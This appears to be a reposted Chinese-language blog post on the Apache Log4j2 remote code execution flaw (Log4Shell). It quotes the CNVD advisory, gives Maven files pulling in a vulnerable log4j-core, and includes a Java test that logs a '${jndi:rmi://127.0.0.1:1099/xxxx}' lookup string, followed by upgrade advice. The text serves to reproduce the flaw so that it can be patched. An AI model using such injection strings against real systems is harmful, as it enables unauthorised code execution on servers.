漏洞描述
安全公告編號:CNTA-2021-0033
安全公告編號:CNTA-2021-0032
2021年12月10日,國家資訊安全漏洞共享平臺(CNVD)收錄了Apache Log4j2遠程代碼執行漏洞(CNVD-2021-95914),攻擊者利用該漏洞,可在未授權的情況下遠程執行代碼,目前,漏洞利用細節已公開,Apache官方已發布補丁修復該漏洞,CNVD建議受影響用戶立即更新至最新版本,同時采取防范性措施避免漏洞攻擊威脅,
一、漏洞情況分析
Apache Log4j是一個基于Java的日志記錄組件,Apache Log4j2是Log4j的升級版本,通過重寫Log4j引入了豐富的功能特性,該日志組件被廣泛應用于業務系統開發,用以記錄程式輸入輸出日志資訊,
2021年11月24日,阿里云安全團隊向Apache官方報告了Apache Log4j2遠程代碼執行漏洞,由于Log4j2組件在處理程式日志記錄時存在JNDI注入缺陷,未經授權的攻擊者利用該漏洞,可向目標服務器發送精心構造的惡意資料,觸發Log4j2組件決議缺陷,實作目標服務器的任意代碼執行,獲得目標服務器權限,
CNVD對該漏洞的綜合評級為“高危”,
二、漏洞影響范圍
漏洞影響的產品版本包括:
Apache Log4j2 2.0 - 2.15.0-rc1
附:參考鏈接:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
關于Apache Log4j2存在遠程代碼執行漏洞的安全公告
復現代碼
log4j-core.jar引入
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.lizz</groupId>
<artifactId>parent-tester</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<skipTests>true</skipTests>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.13.3</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
或引入spring-boot-starter-log4j2,依賴的也是log4j-core.jar
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.lizz</groupId>
<artifactId>parent-tester</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<skipTests>true</skipTests>
</properties>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.3.4.RELEASE</version>
<relativePath/>
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
測驗用例
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* @description: LogBugTest
* @author: lizz
* @date: 2021/12/14 14:51
*/
public class LogBugTest {
private static final Logger logger = LogManager.getLogger(LogBugTest.class);
public static void main(String[] args) {
String msg="${java:hw}";
logger.info("log {}",msg);
logger.error("${jndi:rmi://127.0.0.1:1099/xxxx}");
}
}
輸出結果:
15:43:21.900 [main] INFO com.lizz.LogBugTest - log processors: 4, architecture: x86_64-64
2021-12-14 15:43:21,933 main WARN Error looking up JNDI resource [rmi://127.0.0.1:1099/xxxx].
- ${java:hw}輸出了服務器cpu資訊
- jndi:rmi可以遠程加載外部類,使用可以執行外部想要你執行的命令,漏斗所在,
- 標識可以執行特殊命令
修復建議
- 如果使用spring-boot默認logger,可以發現依賴的是logback,不存在log4j2-core的漏洞,不需要修改,

- 查看依賴樹,使用了log4j2-core包,可以將log4j2-core升級為>=2.16.0即可,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/381942.html
標籤:其他
上一篇:[論文閱讀] (14)英文論文實驗評估(Evaluation)如何撰寫及精句摘抄(上)——以入侵檢測系統(IDS)為例
下一篇:數數小木塊
